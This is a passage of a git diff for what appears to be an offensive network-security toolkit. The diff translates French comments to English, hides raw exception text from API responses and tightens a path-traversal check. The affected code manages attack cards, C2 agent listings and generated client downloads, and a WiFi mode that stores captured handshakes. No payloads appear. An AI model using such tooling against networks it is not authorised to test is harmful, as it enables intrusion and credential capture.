'kv' }, [el('span', {}, [`Args: ${trig.args}`])]) : null, + el('div', { class: 'btns' }, [deleteBtn]), + ].filter(Boolean))); + }); +} + +async function toggleTrigger(id, enabled) { + try { + await api.post('/api/triggers/toggle', { id, enabled }); + toast(enabled ? 'Trigger enabled' : 'Trigger disabled'); + refreshTriggerList(); + } catch (e) { + toast('Toggle failed: ' + e.message, 3000, 'error'); + } +} + +async function deleteTrigger(id) { + if (!confirm('Delete this trigger?')) return; + try { + await api.post('/api/triggers/delete', { id }); + toast('Trigger deleted'); + refreshTriggerList(); + } catch (e) { + toast('Delete failed: ' + e.message, 3000, 'error'); + } +} + function pill(id, text, active, onclick) { return el('span', { id, class: `pill ${active ? 'active' : ''}`, onclick }, [text]); } diff --git a/web/login.html b/web/login.html new file mode 100644 index 0000000..f06129a --- /dev/null +++ b/web/login.html @@ -0,0 +1,324 @@ + + + + + + Login - Bjorn + + + + + + + + + + + +
+ + + + + diff --git a/web_utils/action_utils.py b/web_utils/action_utils.py index 50f2896..8d4e2a3 100644 --- a/web_utils/action_utils.py +++ b/web_utils/action_utils.py @@ -1,17 +1,6 @@ -# action_utils.py -""" -Unified web utilities: Actions (scripts+images+comments), Images, Characters, -Comments, and Attacks — consolidated into a single module. +"""action_utils.py - Unified web utilities for actions, images, characters, comments, and attacks. -Key image rules: -- Status icon: always 28x28 BMP (//.bmp) -- Character image: always 78x78 BMP (//N.bmp) -- Missing status icon auto-generates a placeholder (similar intent to makePlaceholderIconBlob). - -This file merges previous modules: -- Action/Image/Character utils (now in ActionUtils) -- Comment utils (CommentUtils) -- Attack utils (AttackUtils) +Consolidates ActionUtils, CommentUtils, and AttackUtils into a single module. """ from __future__ import annotations @@ -471,11 +460,11 @@ class ActionUtils: """ Rebuild DB 'actions' + 'actions_studio' from filesystem .py files. - 'actions' : info runtime (b_class, b_module, etc.) - - 'actions_studio': payload studio (on garde meta complet en JSON) + - 'actions_studio': studio payload (full meta as JSON) """ actions_dir = self.shared_data.actions_dir - # Schéma minimum (au cas où la migration n'est pas faite) + # Minimum schema (in case migration hasn't run) self.shared_data.db.execute(""" CREATE TABLE IF NOT EXISTS actions ( name TEXT PRIMARY KEY, @@ -491,7 +480,7 @@ class ActionUtils: ) """) - # On reconstruit à partir du disque + # Rebuild from disk self.shared_data.db.execute("DELETE FROM actions") self.shared_data.db.execute("DELETE FROM actions_studio") @@ -510,10 +499,10 @@ class ActionUtils: module_name = os.path.splitext(filename)[0] meta.setdefault("b_module", module_name) - # Nom logique de l'action (prend 'name' si présent, sinon b_class) + # Logical action name: use 'name' if present, fall back to b_class action_name = (meta.get("name") or meta["b_class"]).strip() - # -- UPSERT dans actions + # Upsert into actions self.shared_data.db.execute( """ INSERT INTO actions (name, b_class, b_module, meta_json) @@ -526,7 +515,7 @@ class ActionUtils: (action_name, meta["b_class"], meta["b_module"], json.dumps(meta, ensure_ascii=False)) ) - # -- UPSERT dans actions_studio (on stocke le même meta ou seulement ce qui est utile studio) + # Upsert into actions_studio (store full meta or studio-relevant subset) self.shared_data.db.execute( """ INSERT INTO actions_studio (action_name, studio_meta_json) @@ -853,7 +842,7 @@ class ActionUtils: image_name = self._safe(form.getvalue('image_name') or '') file_item = form['new_image'] if 'new_image' in form else None - # ⚠️ NE PAS faire "not file_item" (FieldStorage n'est pas booléable) + # Don't use "not file_item" (FieldStorage is not bool-safe) if not tp or not image_name or file_item is None or not getattr(file_item, 'filename', ''): raise ValueError('type, image_name and new_image are required') @@ -869,13 +858,13 @@ class ActionUtils: raw = file_item.file.read() - # Si c'est le status icon .bmp => BMP 28x28 imposé + # Status icon .bmp => forced BMP 28x28 if image_name.lower() == f"{action.lower()}.bmp": out = self._to_bmp_resized(raw, self.STATUS_W, self.STATUS_H) with open(target, 'wb') as f: f.write(out) else: - # Déléguer aux character utils pour une image perso numérotée + # Delegate to character utils for numbered character image if not self.character_utils: raise RuntimeError("CharacterUtils not wired into ImageUtils") return self.character_utils.replace_character_image(h, form, action, image_name) @@ -1088,10 +1077,7 @@ class ActionUtils: f.write(char_from_status) def get_status_icon(self, handler): - """ - Serve /.bmp s'il existe. - NE PAS créer de placeholder ici (laisser le front gérer le fallback). - """ + """Serve /.bmp if it exists. No placeholder - let the frontend handle fallback.""" try: q = parse_qs(urlparse(handler.path).query) action = (q.get("action", [None])[0] or "").strip() @@ -1615,7 +1601,7 @@ class ActionUtils: def get_attacks(self, handler): """List all attack cards from DB (name + enabled).""" try: - cards = self.shared_data.db.list_action_cards() # déjà mappe b_enabled -> enabled + cards = self.shared_data.db.list_action_cards() # maps b_enabled -> enabled attacks = [] for c in cards: name = c.get("name") or c.get("b_class") @@ -1648,7 +1634,7 @@ class ActionUtils: if not action_name: raise ValueError("action_name is required") - # Met à jour la colonne correcte avec l'API DB existante + # Update the correct column using existing DB API rowcount = self.shared_data.db.execute( "UPDATE actions SET b_enabled = ? WHERE b_class = ?;", (enabled, action_name) @@ -1915,11 +1901,11 @@ class ActionUtils: try: ctype, pdict = _parse_header(h.headers.get('Content-Type')) - if ctype != 'multipart/form-data': raise ValueError('Content-Type doit être multipart/form-data') + if ctype != 'multipart/form-data': raise ValueError('Content-Type must be multipart/form-data') pdict['boundary']=bytes(pdict['boundary'],'utf-8'); pdict['CONTENT-LENGTH']=int(h.headers.get('Content-Length')) form = _MultipartForm(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), headers=h.headers, environ={'REQUEST_METHOD':'POST'}, keep_blank_values=True) - if 'web_image' not in form or not getattr(form['web_image'],'filename',''): raise ValueError('Aucun fichier web_image fourni') + if 'web_image' not in form or not getattr(form['web_image'],'filename',''): raise ValueError('No web_image file provided') file_item = form['web_image']; filename = self._safe(file_item.filename) base, ext = os.path.splitext(filename); if ext.lower() not in ALLOWED_IMAGE_EXTS: filename = base + '.png' @@ -1961,11 +1947,11 @@ class ActionUtils: try: ctype, pdict = _parse_header(h.headers.get('Content-Type')) - if ctype != 'multipart/form-data': raise ValueError('Content-Type doit être multipart/form-data') + if ctype != 'multipart/form-data': raise ValueError('Content-Type must be multipart/form-data') pdict['boundary']=bytes(pdict['boundary'],'utf-8'); pdict['CONTENT-LENGTH']=int(h.headers.get('Content-Length')) form = _MultipartForm(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), headers=h.headers, environ={'REQUEST_METHOD':'POST'}, keep_blank_values=True) - if 'icon_image' not in form or not getattr(form['icon_image'],'filename',''): raise ValueError('Aucun fichier icon_image fourni') + if 'icon_image' not in form or not getattr(form['icon_image'],'filename',''): raise ValueError('No icon_image file provided') file_item = form['icon_image']; filename = self._safe(file_item.filename) base, ext = os.path.splitext(filename); if ext.lower() not in ALLOWED_IMAGE_EXTS: filename = base + '.png' diff --git a/web_utils/attack_utils.py b/web_utils/attack_utils.py index 72424ba..e117b7d 100644 --- a/web_utils/attack_utils.py +++ b/web_utils/attack_utils.py @@ -1,8 +1,4 @@ -# web_utils/attack_utils.py -""" -Attack and action management utilities. -Handles attack listing, import/export, and action metadata management. -""" +"""attack_utils.py - Attack listing, import/export, and action metadata management.""" from __future__ import annotations import json import os @@ -322,12 +318,14 @@ class AttackUtils: try: rel = handler.path[len('/actions_icons/'):] rel = os.path.normpath(rel).replace("\\", "/") - if rel.startswith("../"): + + # Robust path traversal prevention: resolve to absolute and verify containment + image_path = os.path.realpath(os.path.join(self.shared_data.actions_icons_dir, rel)) + base_dir = os.path.realpath(self.shared_data.actions_icons_dir) + if not image_path.startswith(base_dir + os.sep) and image_path != base_dir: handler.send_error(400, "Invalid path") return - image_path = os.path.join(self.shared_data.actions_icons_dir, rel) - if not os.path.exists(image_path): handler.send_error(404, "Image not found") return diff --git a/web_utils/backup_utils.py b/web_utils/backup_utils.py index dfee63c..0a79d1d 100644 --- a/web_utils/backup_utils.py +++ b/web_utils/backup_utils.py @@ -1,8 +1,4 @@ -# web_utils/backup_utils.py -""" -Backup and restore utilities. -Handles system backups, GitHub updates, and restore operations. -""" +"""backup_utils.py - System backups, GitHub updates, and restore operations.""" from __future__ import annotations import os import json @@ -59,7 +55,7 @@ class BackupUtils: return {"status": "success", "message": "Backup created successfully in ZIP format."} except Exception as e: self.logger.error(f"Failed to create ZIP backup: {e}") - return {"status": "error", "message": str(e)} + return {"status": "error", "message": "Internal server error"} elif backup_format == 'tar.gz': backup_filename = f"backup_{timestamp}.tar.gz" @@ -83,7 +79,7 @@ class BackupUtils: return {"status": "success", "message": "Backup created successfully in tar.gz format."} except Exception as e: self.logger.error(f"Failed to create tar.gz backup: {e}") - return {"status": "error", "message": str(e)} + return {"status": "error", "message": "Internal server error"} else: self.logger.error(f"Unsupported backup format: {backup_format}") return {"status": "error", "message": "Unsupported backup format."} @@ -96,7 +92,7 @@ class BackupUtils: return {"status": "success", "backups": backups} except Exception as e: self.logger.error(f"Failed to list backups: {e}") - return {"status": "error", "message": str(e)} + return {"status": "error", "message": "Internal server error"} def remove_named_pipes(self, directory): """Recursively remove named pipes in the specified directory.""" @@ -213,12 +209,12 @@ class BackupUtils: self.logger.error(f"Failed to extract backup: {e}") if os.path.exists(temp_dir): os.rename(temp_dir, original_dir) - return {"status": "error", "message": f"Failed to extract backup: {e}"} + return {"status": "error", "message": "Failed to extract backup"} except Exception as e: self.logger.error(f"Failed to restore backup: {e}") if os.path.exists(temp_dir): os.rename(temp_dir, original_dir) - return {"status": "error", "message": str(e)} + return {"status": "error", "message": "Internal server error"} def set_default_backup(self, data): """Set a backup as default.""" @@ -231,7 +227,7 @@ class BackupUtils: return {"status": "success"} except Exception as e: self.logger.error(f"Error setting default backup: {e}") - return {"status": "error", "message": str(e)} + return {"status": "error", "message": "Internal server error"} def delete_backup(self, data): """Delete a backup file and its DB metadata.""" @@ -250,7 +246,7 @@ class BackupUtils: return {"status": "success", "message": "Backup deleted successfully."} except Exception as e: self.logger.error(f"Failed to delete backup: {e}") - return {"status": "error", "message": str(e)} + return {"status": "error", "message": "Internal server error"} def update_application(self, data): """Update application from GitHub with options to keep certain folders.""" @@ -367,12 +363,12 @@ class BackupUtils: self.logger.error(f"Failed to download update: {e}") if os.path.exists(temp_dir): os.rename(temp_dir, original_dir) - return {"status": "error", "message": f"Failed to download update: {e}"} + return {"status": "error", "message": "Failed to download update"} except Exception as e: self.logger.error(f"Update failed: {e}") if os.path.exists(temp_dir): os.rename(temp_dir, original_dir) - return {"status": "error", "message": str(e)} + return {"status": "error", "message": "Internal server error"} finally: for path in [downloaded_zip, extract_dir]: if os.path.exists(path): diff --git a/web_utils/bifrost_utils.py b/web_utils/bifrost_utils.py index bc9f058..38dce11 100644 --- a/web_utils/bifrost_utils.py +++ b/web_utils/bifrost_utils.py @@ -1,6 +1,4 @@ -""" -Bifrost web API endpoints. -""" +"""bifrost_utils.py - Bifrost web API endpoints.""" import json import logging from typing import Dict @@ -22,7 +20,7 @@ class BifrostUtils: # ── GET endpoints (handler signature) ───────────────────── def get_status(self, handler): - """GET /api/bifrost/status — full engine state.""" + """GET /api/bifrost/status - full engine state.""" engine = self._engine if engine: data = engine.get_status() @@ -37,7 +35,7 @@ class BifrostUtils: self._send_json(handler, data) def get_networks(self, handler): - """GET /api/bifrost/networks — discovered WiFi networks.""" + """GET /api/bifrost/networks - discovered WiFi networks.""" try: rows = self.shared_data.db.query( "SELECT * FROM bifrost_networks ORDER BY rssi DESC LIMIT 200" @@ -48,7 +46,7 @@ class BifrostUtils: self._send_json(handler, {'networks': []}) def get_handshakes(self, handler): - """GET /api/bifrost/handshakes — captured handshakes.""" + """GET /api/bifrost/handshakes - captured handshakes.""" try: rows = self.shared_data.db.query( "SELECT * FROM bifrost_handshakes ORDER BY captured_at DESC LIMIT 200" @@ -59,7 +57,7 @@ class BifrostUtils: self._send_json(handler, {'handshakes': []}) def get_activity(self, handler): - """GET /api/bifrost/activity — recent activity feed.""" + """GET /api/bifrost/activity - recent activity feed.""" try: qs = parse_qs(urlparse(handler.path).query) limit = int(qs.get('limit', [50])[0]) @@ -73,7 +71,7 @@ class BifrostUtils: self._send_json(handler, {'activity': []}) def get_epochs(self, handler): - """GET /api/bifrost/epochs — epoch history.""" + """GET /api/bifrost/epochs - epoch history.""" try: rows = self.shared_data.db.query( "SELECT * FROM bifrost_epochs ORDER BY id DESC LIMIT 100" @@ -84,7 +82,7 @@ class BifrostUtils: self._send_json(handler, {'epochs': []}) def get_stats(self, handler): - """GET /api/bifrost/stats — aggregate statistics.""" + """GET /api/bifrost/stats - aggregate statistics.""" try: db = self.shared_data.db nets = db.query_one("SELECT COUNT(*) AS c FROM bifrost_networks") or {} @@ -114,7 +112,7 @@ class BifrostUtils: }) def get_plugins(self, handler): - """GET /api/bifrost/plugins — loaded plugin list.""" + """GET /api/bifrost/plugins - loaded plugin list.""" try: from bifrost.plugins import get_loaded_info self._send_json(handler, {'plugins': get_loaded_info()}) @@ -125,7 +123,7 @@ class BifrostUtils: # ── POST endpoints (JSON data signature) ────────────────── def toggle_bifrost(self, data: Dict) -> Dict: - """POST /api/bifrost/toggle — switch to/from BIFROST mode. + """POST /api/bifrost/toggle - switch to/from BIFROST mode. BIFROST is a 4th exclusive operation mode. Enabling it stops the orchestrator (Manual/Auto/AI) because WiFi goes into monitor mode. @@ -141,7 +139,7 @@ class BifrostUtils: return {'status': 'ok', 'enabled': enabled} def set_mode(self, data: Dict) -> Dict: - """POST /api/bifrost/mode — set auto/manual.""" + """POST /api/bifrost/mode - set auto/manual.""" mode = data.get('mode', 'auto') engine = self._engine if engine and engine.agent: @@ -149,7 +147,7 @@ class BifrostUtils: return {'status': 'ok', 'mode': mode} def toggle_plugin(self, data: Dict) -> Dict: - """POST /api/bifrost/plugin/toggle — enable/disable a plugin.""" + """POST /api/bifrost/plugin/toggle - enable/disable a plugin.""" try: from bifrost.plugins import toggle_plugin name = data.get('name', '') @@ -160,7 +158,7 @@ class BifrostUtils: return {'status': 'error', 'message': str(e)} def clear_activity(self, data: Dict) -> Dict: - """POST /api/bifrost/activity/clear — clear activity log.""" + """POST /api/bifrost/activity/clear - clear activity log.""" try: self.shared_data.db.execute("DELETE FROM bifrost_activity") return {'status': 'ok'} @@ -168,7 +166,7 @@ class BifrostUtils: return {'status': 'error', 'message': str(e)} def update_whitelist(self, data: Dict) -> Dict: - """POST /api/bifrost/whitelist — update AP whitelist.""" + """POST /api/bifrost/whitelist - update AP whitelist.""" try: whitelist = data.get('whitelist', '') self.shared_data.config['bifrost_whitelist'] = whitelist diff --git a/web_utils/bluetooth_utils.py b/web_utils/bluetooth_utils.py index f6cf219..6405bcc 100644 --- a/web_utils/bluetooth_utils.py +++ b/web_utils/bluetooth_utils.py @@ -1,8 +1,4 @@ -# web_utils/bluetooth_utils.py -""" -Bluetooth device management utilities. -Handles Bluetooth scanning, pairing, connection, and device management. -""" +"""bluetooth_utils.py - Bluetooth scanning, pairing, connection, and device management.""" from __future__ import annotations import json import subprocess diff --git a/web_utils/c2_utils.py b/web_utils/c2_utils.py index 7bdcdba..46ef32f 100644 --- a/web_utils/c2_utils.py +++ b/web_utils/c2_utils.py @@ -1,11 +1,10 @@ -# webutils/c2_utils.py +"""c2_utils.py - Command and control agent management endpoints.""" from c2_manager import c2_manager import base64 import time from pathlib import Path import json from datetime import datetime -# to import logging from the previous path you can use: import logging from logger import Logger logger = Logger(name="c2_utils.py", level=logging.DEBUG) @@ -15,12 +14,12 @@ class C2Utils: def __init__(self, shared_data): self.logger = logger self.shared_data = shared_data - # --- Anti-yoyo: cache du dernier snapshot "sain" d'agents --- - self._last_agents = [] # liste d'agents normalisés - self._last_agents_ts = 0.0 # epoch seconds du snapshot - self._snapshot_ttl = 10.0 # tolérance (s) si /c2/agents flanche + # Anti-flap: cache last healthy agent snapshot + self._last_agents = [] + self._last_agents_ts = 0.0 + self._snapshot_ttl = 10.0 # grace period (s) if /c2/agents fails - # ---------------------- Helpers JSON ---------------------- + # ---------------------- JSON helpers ---------------------- def _to_jsonable(self, obj): if obj is None or isinstance(obj, (bool, int, float, str)): @@ -49,29 +48,27 @@ class C2Utils: except BrokenPipeError: pass - # ---------------------- Normalisation Agents ---------------------- + # ---------------------- Agent normalization ---------------------- def _normalize_agent(self, a): - """ - Uniformise l'agent (id, last_seen en ISO) sans casser les autres champs. - """ + """Normalize agent fields (id, last_seen as ISO) without breaking other fields.""" a = dict(a) if isinstance(a, dict) else {} a["id"] = a.get("id") or a.get("agent_id") or a.get("client_id") ls = a.get("last_seen") if isinstance(ls, (int, float)): - # epoch seconds -> ISO + # epoch seconds to ISO try: a["last_seen"] = datetime.fromtimestamp(ls).isoformat() except Exception: a["last_seen"] = None elif isinstance(ls, str): - # ISO (avec ou sans Z) + # ISO (with or without Z) try: dt = datetime.fromisoformat(ls.replace("Z", "+00:00")) a["last_seen"] = dt.isoformat() except Exception: - # format inconnu -> laisser tel quel + # unknown format, leave as-is pass elif isinstance(ls, datetime): a["last_seen"] = ls.isoformat() @@ -80,7 +77,7 @@ class C2Utils: return a - # ---------------------- Handlers REST ---------------------- + # ---------------------- REST handlers ---------------------- def c2_start(self, handler, data): port = int(data.get("port", 5555)) @@ -95,10 +92,8 @@ class C2Utils: return self._json(handler, 200, c2_manager.status()) def c2_agents(self, handler): - """ - Renvoie la liste des agents (tableau JSON). - Anti-yoyo : si c2_manager.list_agents() renvoie [] mais que - nous avons un snapshot récent (< TTL), renvoyer ce snapshot. + """Return agent list as JSON array. + Anti-flap: if list_agents() returns [] but we have a recent snapshot (< TTL), serve that instead. """ try: raw = c2_manager.list_agents() or [] @@ -106,16 +101,16 @@ class C2Utils: now = time.time() if len(agents) == 0 and len(self._last_agents) > 0 and (now - self._last_agents_ts) <= self._snapshot_ttl: - # Fallback rapide : on sert le dernier snapshot non-vide + # Quick fallback: serve last non-empty snapshot return self._json(handler, 200, self._last_agents) - # Snapshot frais (même si vide réel) + # Fresh snapshot (even if actually empty) self._last_agents = agents self._last_agents_ts = now return self._json(handler, 200, agents) except Exception as e: - # En cas d'erreur, si snapshot récent dispo, on le sert + # On error, serve recent snapshot if available now = time.time() if len(self._last_agents) > 0 and (now - self._last_agents_ts) <= self._snapshot_ttl: self.logger.warning(f"/c2/agents fallback to snapshot after error: {e}") @@ -167,17 +162,17 @@ class C2Utils: except Exception as e: return self._json(handler, 500, {"status": "error", "message": str(e)}) - # ---------------------- SSE: stream d'événements ---------------------- + # ---------------------- SSE: event stream ---------------------- def c2_events_sse(self, handler): handler.send_response(200) handler.send_header("Content-Type", "text/event-stream") handler.send_header("Cache-Control", "no-cache") handler.send_header("Connection", "keep-alive") - handler.send_header("X-Accel-Buffering", "no") # utile derrière Nginx/Traefik + handler.send_header("X-Accel-Buffering", "no") # needed behind Nginx/Traefik handler.end_headers() - # Indiquer au client un backoff de reconnexion (évite les tempêtes) + # Tell client to back off on reconnect (avoids thundering herd) try: handler.wfile.write(b"retry: 5000\n\n") # 5s handler.wfile.flush() @@ -194,7 +189,7 @@ class C2Utils: handler.wfile.write(payload.encode("utf-8")) handler.wfile.flush() except Exception: - # Connexion rompue : on se désabonne proprement + # Connection broken: unsubscribe cleanly try: c2_manager.bus.unsubscribe(push) except Exception: @@ -202,11 +197,11 @@ class C2Utils: c2_manager.bus.subscribe(push) try: - # Keep-alive périodique pour maintenir le flux ouvert + # Periodic keep-alive to maintain the stream while True: time.sleep(15) try: - handler.wfile.write(b": keep-alive\n\n") # commentaire SSE + handler.wfile.write(b": keep-alive\n\n") # SSE comment handler.wfile.flush() except Exception: break @@ -216,7 +211,7 @@ class C2Utils: except Exception: pass - # ---------------------- Gestion des fichiers client ---------------------- + # ---------------------- Client file management ---------------------- def c2_download_client(self, handler, filename): """Serve generated client file for download""" diff --git a/web_utils/character_utils.py b/web_utils/character_utils.py index 1562ac8..4728a11 100644 --- a/web_utils/character_utils.py +++ b/web_utils/character_utils.py @@ -1,7 +1,4 @@ -""" -Character and persona management utilities. -Handles character switching, creation, and image management. -""" +"""character_utils.py - Character switching, creation, and image management.""" from __future__ import annotations import os import re @@ -131,10 +128,7 @@ class CharacterUtils: return out.getvalue() def get_existing_character_numbers(self, action_dir: str | Path, action_name: str) -> set[int]: - """ - Retourne l'ensemble des numéros déjà utilisés pour les images characters - (p. ex. 1.bmp, 2.bmp, ...). - """ + """Return the set of numbers already used for character images (e.g. 1.bmp, 2.bmp).""" d = Path(action_dir) if not d.exists(): return set() @@ -152,7 +146,7 @@ class CharacterUtils: # --------- endpoints --------- def get_current_character(self): - """Lit le personnage courant depuis la config (DB).""" + """Read current character from config (DB).""" try: return self.shared_data.config.get('current_character', 'BJORN') or 'BJORN' except Exception: @@ -220,7 +214,7 @@ class CharacterUtils: current_character = self.get_current_character() if character == current_character: - # Quand le perso est actif, ses images sont dans status_images_dir/IDLE/IDLE1.bmp + # Active character images live in status_images_dir/IDLE/IDLE1.bmp idle_image_path = os.path.join(self.shared_data.status_images_dir, 'IDLE', 'IDLE1.bmp') else: idle_image_path = os.path.join(self.shared_data.settings_dir, character, 'status', 'IDLE', 'IDLE1.bmp') @@ -398,11 +392,11 @@ class CharacterUtils: self.logger.error(f"Error in copy_character_images: {e}") def upload_character_images(self, handler): - """Ajoute des images de characters pour une action existante (toujours BMP + numérotation).""" + """Add character images for an existing action (always BMP, auto-numbered).""" try: ctype, pdict = _parse_header(handler.headers.get('Content-Type')) if ctype != 'multipart/form-data': - raise ValueError('Content-Type doit être multipart/form-data') + raise ValueError('Content-Type must be multipart/form-data') pdict['boundary'] = bytes(pdict['boundary'], "utf-8") pdict['CONTENT-LENGTH'] = int(handler.headers.get('Content-Length')) @@ -415,18 +409,18 @@ class CharacterUtils: ) if 'action_name' not in form: - raise ValueError("Le nom de l'action est requis") + raise ValueError("Action name is required") action_name = (form.getvalue('action_name') or '').strip() if not action_name: - raise ValueError("Le nom de l'action est requis") + raise ValueError("Action name is required") if 'character_images' not in form: - raise ValueError('Aucun fichier image fourni') + raise ValueError('No image file provided') action_dir = os.path.join(self.shared_data.status_images_dir, action_name) if not os.path.exists(action_dir): - raise FileNotFoundError(f"L'action '{action_name}' n'existe pas") + raise FileNotFoundError(f"Action '{action_name}' does not exist") existing_numbers = self.get_existing_character_numbers(action_dir, action_name) next_number = max(existing_numbers, default=0) + 1 @@ -448,16 +442,16 @@ class CharacterUtils: handler.send_response(200) handler.send_header('Content-Type', 'application/json') handler.end_headers() - handler.wfile.write(json.dumps({'status': 'success', 'message': 'Images de characters ajoutées avec succès'}).encode('utf-8')) + handler.wfile.write(json.dumps({'status': 'success', 'message': 'Character images added successfully'}).encode('utf-8')) except Exception as e: - self.logger.error(f"Erreur dans upload_character_images: {e}") + self.logger.error(f"Error in upload_character_images: {e}") import traceback self.logger.error(traceback.format_exc()) self._send_error_response(handler, str(e)) def reload_fonts(self, handler): - """Recharge les fonts en exécutant load_fonts.""" + """Reload fonts via load_fonts.""" try: self.shared_data.load_fonts() handler.send_response(200) @@ -472,13 +466,13 @@ class CharacterUtils: handler.wfile.write(json.dumps({'status': 'error', 'message': str(e)}).encode('utf-8')) def reload_images(self, handler): - """Recharge les images en exécutant load_images.""" + """Reload images via load_images.""" try: self.shared_data.load_images() handler.send_response(200) handler.send_header('Content-Type', 'application/json') handler.end_headers() - handler.wfile.write(json.dumps({'status': 'success', 'message': 'Images rechargées avec succès.'}).encode('utf-8')) + handler.wfile.write(json.dumps({'status': 'success', 'message': 'Images reloaded successfully.'}).encode('utf-8')) except Exception as e: self.logger.error(f"Error in reload_images: {e}") handler.send_response(500) diff --git a/web_utils/comment_utils.py b/web_utils/comment_utils.py index a23e1ec..d29b17f 100644 --- a/web_utils/comment_utils.py +++ b/web_utils/comment_utils.py @@ -1,8 +1,4 @@ -# web_utils/comment_utils.py -""" -Comment and status message management utilities. -Handles status comments/messages displayed in the UI. -""" +"""comment_utils.py - Status comments and messages displayed in the UI.""" from __future__ import annotations import json import re diff --git a/web_utils/db_utils.py b/web_utils/db_utils.py index 11a910a..8dd9b9a 100644 --- a/web_utils/db_utils.py +++ b/web_utils/db_utils.py @@ -1,8 +1,4 @@ -# web_utils/db_utils.py -""" -Database manager utilities. -Handles database table operations, CRUD, schema management, and exports. -""" +"""db_utils.py - Database table operations, CRUD, schema management, and exports.""" from __future__ import annotations import json import re @@ -122,7 +118,8 @@ class DBUtils: data = {"tables": self._db_list_tables(), "views": self._db_list_views()} self._write_json(handler, data) except Exception as e: - self._write_json(handler, {"status": "error", "message": str(e)}, 500) + logger.error(f"Error fetching database catalog: {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 500) def db_schema_endpoint(self, handler, name: str): """Get schema for a table or view.""" @@ -133,8 +130,11 @@ class DBUtils: ) cols = self.shared_data.db.query(f"PRAGMA table_info({name});") self._write_json(handler, {"meta": row, "columns": cols}) + except ValueError: + self._write_json(handler, {"status": "error", "message": "Invalid table or view name"}, 400) except Exception as e: - self._write_json(handler, {"status": "error", "message": str(e)}, 400) + logger.error(f"Error fetching schema for '{name}': {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 500) def db_get_table_endpoint(self, handler, table_name: str): """Get table data with pagination and filtering.""" @@ -179,8 +179,11 @@ class DBUtils: "pk": pk, "total": total }) + except ValueError: + self._write_json(handler, {"status": "error", "message": "Invalid table or query parameters"}, 400) except Exception as e: - self._write_json(handler, {"status": "error", "message": str(e)}, 500) + logger.error(f"Error fetching table data: {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 500) def db_update_cells_endpoint(self, handler, payload: dict): """Update table cells.""" @@ -210,7 +213,8 @@ class DBUtils: self._write_json(handler, {"status": "ok"}) except Exception as e: - self._write_json(handler, {"status": "error", "message": str(e)}, 400) + logger.error(f"Error updating cells: {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 400) def db_delete_rows_endpoint(self, handler, payload: dict): """Delete table rows.""" @@ -226,8 +230,11 @@ class DBUtils: tuple(pks) ) self._write_json(handler, {"status": "ok", "deleted": len(pks)}) - except Exception as e: + except ValueError as e: self._write_json(handler, {"status": "error", "message": str(e)}, 400) + except Exception as e: + logger.error(f"Error deleting rows: {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 400) def db_insert_row_endpoint(self, handler, payload: dict): """Insert a new row.""" @@ -259,7 +266,8 @@ class DBUtils: new_pk = row["lid"] self._write_json(handler, {"status": "ok", "pk": new_pk}) except Exception as e: - self._write_json(handler, {"status": "error", "message": str(e)}, 400) + logger.error(f"Error inserting row: {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 400) def db_export_table_endpoint(self, handler, table_name: str): """Export table as CSV or JSON.""" @@ -287,7 +295,8 @@ class DBUtils: handler.end_headers() handler.wfile.write(buf.getvalue().encode("utf-8")) except Exception as e: - self._write_json(handler, {"status": "error", "message": str(e)}, 400) + logger.error(f"Error exporting table: {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 400) def db_vacuum_endpoint(self, handler): """Vacuum and optimize database.""" @@ -296,7 +305,8 @@ class DBUtils: self.shared_data.db.optimize() self._write_json(handler, {"status": "ok"}) except Exception as e: - self._write_json(handler, {"status": "error", "message": str(e)}, 500) + logger.error(f"Error during database vacuum: {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 500) def db_drop_table_endpoint(self, handler, table_name: str): """Drop a table.""" @@ -305,7 +315,8 @@ class DBUtils: self.shared_data.db.execute(f"DROP TABLE IF EXISTS {table};") self._write_json(handler, {"status": "ok"}) except Exception as e: - self._write_json(handler, {"status": "error", "message": str(e)}, 400) + logger.error(f"Error dropping table: {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 400) def db_truncate_table_endpoint(self, handler, table_name: str): """Truncate a table.""" @@ -318,7 +329,8 @@ class DBUtils: pass self._write_json(handler, {"status": "ok"}) except Exception as e: - self._write_json(handler, {"status": "error", "message": str(e)}, 400) + logger.error(f"Error truncating table: {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 400) def db_create_table_endpoint(self, handler, payload: dict): @@ -345,14 +357,14 @@ class DBUtils: seg += " DEFAULT " + str(c["default"]) if c.get("pk"): pk_inline = cname - # AUTOINCREMENT en SQLite que sur INTEGER PRIMARY KEY + # AUTOINCREMENT only valid on INTEGER PRIMARY KEY in SQLite if ctype.upper().startswith("INTEGER"): seg += " PRIMARY KEY AUTOINCREMENT" else: seg += " PRIMARY KEY" parts.append(seg) if pk_inline is None: - # rien, PK implicite ou aucune + # no explicit PK, implicit rowid or none pass ine = "IF NOT EXISTS " if payload.get("if_not_exists") else "" sql = f"CREATE TABLE {ine}{name} ({', '.join(parts)});" @@ -360,8 +372,9 @@ class DBUtils: handler.send_response(200); handler.send_header("Content-Type","application/json"); handler.end_headers() handler.wfile.write(json.dumps({"status":"ok"}).encode("utf-8")) except Exception as e: + logger.error(f"Error creating table: {e}") handler.send_response(400); handler.send_header("Content-Type","application/json"); handler.end_headers() - handler.wfile.write(json.dumps({"status":"error","message":str(e)}).encode("utf-8")) + handler.wfile.write(json.dumps({"status":"error","message":"Internal server error"}).encode("utf-8")) def db_rename_table_endpoint(self, handler, payload: dict): try: @@ -371,8 +384,9 @@ class DBUtils: handler.send_response(200); handler.send_header("Content-Type","application/json"); handler.end_headers() handler.wfile.write(json.dumps({"status":"ok"}).encode("utf-8")) except Exception as e: + logger.error(f"Error renaming table: {e}") handler.send_response(400); handler.send_header("Content-Type","application/json"); handler.end_headers() - handler.wfile.write(json.dumps({"status":"error","message":str(e)}).encode("utf-8")) + handler.wfile.write(json.dumps({"status":"error","message":"Internal server error"}).encode("utf-8")) def db_add_column_endpoint(self, handler, payload: dict): """ @@ -391,11 +405,12 @@ class DBUtils: handler.send_response(200); handler.send_header("Content-Type","application/json"); handler.end_headers() 